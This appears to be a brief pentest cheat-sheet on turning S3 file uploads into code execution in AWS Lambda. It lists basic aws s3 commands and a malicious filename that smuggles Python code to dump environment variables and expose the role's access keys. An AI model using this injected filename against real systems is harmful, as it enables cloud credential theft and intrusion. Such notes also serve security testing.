File upload to RCE

Verify file upload

List Buckets

aws s3 ls

Upload file

aws s3 cp <local file> s3://<bucket>    #upload in bucket root
aws s3 cp <local file> s3://<bucket>/<path>

List files in bucket

aws s3 ls <bucket>
aws s3 ls <bucket>/<path>

Download file

aws s3 cp s3://<bucket>/<path>/<filename> .

Exploit

We attempt to retrieve the Lambda environment and reveal the role Access Key. The output might be reflected in the uploaded file, another file in the same bucket or a log file.

Malicious filenames

import os;dict(os.environ)

Malicious script

This script executes a command and stores the output in a S3 bucket controlled by the attacker

Last updated